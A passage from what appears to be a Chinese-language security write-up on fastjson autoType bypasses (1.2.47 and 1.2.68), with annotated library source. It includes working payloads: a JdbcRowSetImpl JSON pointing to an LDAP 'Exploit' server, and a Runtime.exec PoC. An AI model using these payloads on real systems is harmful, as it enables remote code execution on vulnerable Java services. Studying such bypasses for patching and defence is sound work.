                    hash *= PRIME;
                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                    //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
    
            //6.从一个Mapping中获取这个类名的类,我们之后看
            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }
            //7.从反序列化器中获取这个类名的类,我们也之后看
            if (clazz == null) {
                clazz = deserializers.findClass(typeName);
            }
            //8.如果在6,7中找到了clazz,这里直接return出去,不继续了
            if (clazz != null) {
                if (expectClass != null
                        && clazz != java.util.HashMap.class
                        && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
               //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
                return clazz;
            }
            // 9. 针对默认白名单开启情况的处理,这里
            if (!autoTypeSupport) {
                long hash = h3;
                for (int i = 3; i < className.length(); ++i) {
                    char c = className.charAt(i);
                    hash ^= c;
                    hash *= PRIME;
                    //碰到黑名单就死
                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                    //满足白名单可以活,但是白名单默认是空的
                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                        if (clazz == null) {
                            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                        }
                        //针对expectCLass的特殊处理,没有expectCLass,不管
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
    
                        return clazz;
                    }
                }
            }
            //通过以上全部检查,就可以从这里读取clazz
            if (clazz == null) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            }
    
            //这里对一些特殊的class进行处理,不重要
    
           //特性判断等
    
            return clazz;
        }
    

    白名单关闭时直接匹配黑名单(G),只能在匹配到黑名单之前搞些事情。
    白名单开启时只要满足 TypeUtils.getClassFromMapping(typeName) != null 就能直接 return,从而跳过黑名单的限制。
    而这里的 if 执行结果取决于前面的这两个方法:
    1. TypeUtils.getClassFromMapping(typeName)
    2. deserializers.findClass(typeName)

    其中在 TypeUtils.getClassFromMapping(typeName) 中
    //这个map是一个hashmap
    private static ConcurrentMap> mappings = new ConcurrentHashMap>(16, 0.75f, 1);
        ...
        public static Class getClassFromMapping(String className){
            //很简单的一个mapping的get
            return mappings.get(className);
        }
    

    找一下哪里有能用的 mappings.put ,发现了这里 TypeUtils.loadClass
    public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {
            //判断className是否为空,是的话直接返回null
            if(className == null || className.length() == 0){
                return null;
            }
            //判断className是否已经存在于mappings中
            Class clazz = mappings.get(className);
            if(clazz != null){
                //是的话,直接返回
                return clazz;
            }
            //判断className是否是[开头,1.2.44中针对限制的东西就是这个
            if(className.charAt(0) == '['){
                Class componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            }
            //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
            if(className.startsWith("L") && className.endsWith(";")){
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            }
            //1. 我们需要关注的mappings在这里有
            try{
                //输入的classLoader不为空时
                if(classLoader != null){
                    //调用加载器去加载我们给的className
                    clazz = classLoader.loadClass(className);
                    //!!如果cache为true!!
                    if (cache) {
                        //往我们关注的mappings中写入这个className
                        mappings.put(className, clazz);
                    }
                    return clazz;//返回加载出来的类
                }
            } catch(Throwable e){
                e.printStackTrace();
                // skip
            }
            //2. 在这里也有,但是好像这里有关线程,比较严格。
            try{
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if(contextClassLoader != null && contextClassLoader != classLoader){
                    clazz = contextClassLoader.loadClass(className);
                    //同样需要输入的cache为true,才有可能修改
                    if (cache) {
                        mappings.put(className, clazz);
                    }
                    return clazz;
                }
            } catch(Throwable e){
                // skip
            }
            //3. 这里也有,限制很松
            try{
                //加载类
                clazz = Class.forName(className);
                //直接放入mappings中
                mappings.put(className, clazz);
                return clazz;
            } catch(Throwable e){
                // skip
            }
            return clazz;
        }
    

    如果可以控制参数就可以向 mapping 中添加任意类,让前一个的 mapping.get 返回不为 null,从而绕过黑名单。
    找一下调用 TypeUtils.loadClass 并且参数满足条件的地方(),这里MiscCodec.java#deserialze
    public  T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
            JSONLexer lexer = parser.lexer;
    
            //4. clazz类型等于InetSocketAddress.class的处理。
            //我们需要的clazz必须为Class.class,不进入
            if (clazz == InetSocketAddress.class) {
                ...
            }
    
            Object objVal;
            //3. 下面这段赋值objVal这个值
            //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
            if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
                //当parser.resolveStatus的值为  TypeNameRedirect
                parser.resolveStatus = DefaultJSONParser.NONE;
                parser.accept(JSONToken.COMMA);
                //lexer为json串的下一处解析点的相关数据
                 //如果下一处的类型为string
                if (lexer.token() == JSONToken.LITERAL_STRING) {
                    //判断解析的下一处的值是否为val,如果不是val,报错退出
                    if (!"val".equals(lexer.stringVal())) {
                        throw new JSONException("syntax error");
                    }
                    //移动lexer到下一个解析点
                    //举例:"val":(移动到此处->)"xxx"
                    lexer.nextToken();
                } else {
                    throw new JSONException("syntax error");
                }
    
                parser.accept(JSONToken.COLON);
                //此处获取下一个解析点的值"xxx"赋值到objVal
                objVal = parser.parse();
    
                parser.accept(JSONToken.RBRACE);
            } else {
                //当parser.resolveStatus的值不为TypeNameRedirect
                //直接解析下一个解析点到objVal
                objVal = parser.parse();
            }
    
            String strVal;
            //2. 可以看到strVal是由objVal赋值,继续往上看
            if (objVal == null) {
                strVal = null;
            } else if (objVal instanceof String) {
                strVal = (String) objVal;
            } else {
                //不必进入的分支
            }
    
            if (strVal == null || strVal.length() == 0) {
                return null;
            }
    
            //省略诸多对于clazz类型判定的不同分支。
    
            //1. 可以得知,我们的clazz必须为Class.class类型
            if (clazz == Class.class) {
                //我们由这里进来的loadCLass
                //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
                return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
            }
    

    接下来要关注的是 parser.resolveStatus(要对它的值进行判断)
    1. parser.resolveStatus == TypeNameRedirect 我们需要json串中有一个"val":"恶意类名",来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。
    2. parser.resolveStatus != TypeNameRedirect进入if判断的false中,可以直接污染objVal。再加上clazz=class类

    poc:
    {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }
    

    20200102094438-6fc52b08-2d01-1
    payload:
    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "ldap://localhost:1389/Exploit", 
            "autoCommit": true
        }
    }
    
  • 1.2.48 修复


    上一个会调用第二个 mappings.put,还有一个要满足的条件是 cache 为 true(默认)
    直接改成 false了。
  • 1.2.62-67 又能打了


    其实就是有新的 gadget 绕黑名单,但前提还是要开 AutoType,同时还有很多 jar 包和 java版本限制。
  • 1.2.68(expectClass 绕过 AutoType)


    绕 fastjson 的核心就是绕 checkAutoType() 函数,先看一下通过 checkAutoType() 校验的方式
    1.白名单里的类
    2.开启了autotype
    3.使用了JSONType注解
    4.指定了期望类(expectClass)
    5.缓存在mapping中的类
    6.使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
    

    这次用的第4种,当传入 checkAutoType() 的 expectClass 不为 null 的时候(默认为 null),并且要实例化的类是 expectClass 的子类或其实现时,会将传入的类视作一个合法类,但因为 黑名单检测在 loadClass 之前,所以不能绕过黑名单,最后 loadClass 就会返回该类的 class。
    但是 checkAutoType 默认的 expectClass 为 null,那么我们的思路就变成了先调用一个 expectClass 参数不为 null 的 checkAutoType(),再利用这次调用中的 expectClass 的子类或接口们做一些事情。
    可以直接把 expectClass 参数传递给 checkAutoType() 的类有两个
    1. 在JavaBeanDeserializer类的deserialze()函数中会调用checkAutoType()并传入可控的expectClass
    2. 在ThrowableDeserializer类的deserialze()函数中也会调用并传入
    

    那么思路就是:@type(1) 的 class => 通过 CheckAutoType 并调用 deserialze() => 触发调用第二个 checkAutoType() => @type(2) 的 class(恶意类)
    其中实现对应的分别为:AutoCloseable 类 和 Throwabl e类。
    VulAutoCloseable.java
    package 版本68;
    
    public class VulAutoCloseable implements AutoCloseable {
    
        public VulAutoCloseable(String cmd) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        @Override
        public void close() throws Exception {
    
        }
    }
    
    

    poc.java:
    package 版本68;
    
    import com.alibaba.fastjson.JSON;
    
    public class poc {
        public static void main(String[] args) {
            String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"版本68.VulAutoCloseable\",\"cmd\":\"calc\"}";
            JSON.parse(poc);
        }
    }
    
    

    在 CheckAutoType 中打断点调试,如果 expectClass 不为 null 且不在指定 class 中就会把 expertClassFlag 设置为 true,
    image-20220213004934230
    然后是先进行内部白名单和内部黑名单查询,
    image-20220213005159567
    如果非是内部白名单,并且开启 autoTypeSupport 或者 expectClass 不为空时会进行黑白名单查找,
    image-20220213005314669
    查找后调用 TypeUtils.getClassFromMapping 查找 class ,第一次传入的是 AutoCloseable,因此能正常加载,
    image-20220213010127039
    在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,然后就会用 JavaBeanDeserializer 执行 deserialze,注意这里传入的参数是 AutoCloseable
    image-20220213010620811
    跟进 deserialze ,发现这里的 checkAutoType 传入了 expectClass,也就是之前的 AutoCloseable
    image-20220213010919699
    进入黑白名单环节
    image-20220213011213308
    autoTypeSupport 为 false,接着往下走
    image-20220213012524387
    jsonType 为 false,不会返回,继续往下执行
    image-20220213013202871
    然后因为 expectClass 不为空,把恶意类加载到内存中
    image-20220213013257002
    之后deserializer.deserialze(),由于将恶意类加入mapping,在反序列化解析时会绕过autoType,成功利用
  • 参考文献